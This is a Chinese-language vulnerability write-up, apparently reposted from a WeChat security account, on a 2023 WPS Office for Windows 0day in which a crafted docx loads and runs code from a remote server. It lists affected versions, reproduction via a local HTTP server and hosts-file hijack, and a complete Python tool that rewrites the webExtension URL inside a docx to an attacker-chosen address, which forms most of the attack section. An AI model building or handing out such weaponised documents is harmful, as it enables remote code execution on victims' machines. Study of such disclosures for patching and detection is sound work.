0x00 团队声明
该漏洞为我团队漏洞监测平台发现,仅供学习参考使用,请勿用作违法用途,否则后果自负。
0x01 漏洞概述
WPS Office for Windows版本 存在0day漏洞,攻击者可以利用该0day漏洞在受害者主机上执行任意恶意文件;目前已经发现了该Oday漏洞的在也利用。
攻击者利用本漏洞专门构造出恶意文档,受害者打开该文档并执行相应操作后,才会联网从远程服务器下载恶意代码到指定目录并执行,前提是系统当前用户对该目录具备写权限,攻击者进而控制其电脑。
漏洞编号:暂无
0x02 影响版本
-
WPS Office 2023个人版<11.1.0.15120
-
WPS Office 2019企业版<11.8.2.12085
0x03 漏洞复现
这里我们通过Python启动一个HTTP服务来监听80端口:
修改本地HOST文件,对DNS劫持到本地127.0.0.1上。
只要是修改复合以上域名解析规则就可以触发漏洞。
漏洞原理
通过wps文件的某种远程加载机制去调用互联网上的资源,其中被调用的资源必须恶意满足域名格式为clientweb.docer.wps.cn.{xxxxx}wps.cn,其中{xxx}是什么都行,然后通过修改docx的某项配置文件中的特定属性,让docx打开时去调用相关文件并加载其中的恶意代码。
漏洞利用工具
①Python实现漏洞利用工具EXP
import sys
import zipfile
from lxml import etree
def print_banner():
banner = """
________ _____ ______ ________ ___ ___ _________ ___ ___ ________ ________
| __ | _ _ | __ | / /|___ ___\ | | __ | __
| \__ | / / ||___ _ \ | |
__ \|__| ____ / / __ __ _ _
___| / / \ |
__ __ __ __ __ / /| __ __ __ __ __ __\ _
|__||__||__| |__||__| /__/ |__| |__||__||__||__||__||__|
RCS-TEAM
"""
print(banner)
def replace_url_in_docx(docx_path, new_url):
"""
Replace the URL in a docx file's webExtension1.xml.
Parameters:
- docx_path: Path to the .docx file
- new_url: New URL to replace the existing one
"""
xml_path = "word/webExtensions/webExtension1.xml"
namespace = {"wpswe": "http://www.wps.cn/officeDocument/2018/webExtension"}
with zipfile.ZipFile(docx_path, "a") as zipf:
xml_content = zipf.read(xml_path)
root = etree.fromstring(xml_content)
url_tag = root.find(".//wpswe:url", namespaces=namespace)
if url_tag is not None:
url_tag.text = new_url
zipf.writestr(xml_path, etree.tostring(root))
def main():
if len(sys.argv) != 3:
print("Usage: python script.py <path_to_docx> <new_url>")
sys.exit(1)
docx_path = sys.argv[1]
new_url = sys.argv[2]
replace_url_in_docx(docx_path, new_url)
print(f"URL replaced in {docx_path} with {new_url}")
if __name__ == "__main__":
print_banner()
main()
0x04 整改意见
①升级WPS到最新版本。
0x05 关注我们
0x06 推荐书籍
#长按扫码购书#
原文始发于微信公众号(小白嘿课):2023 HW WPS 0day漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论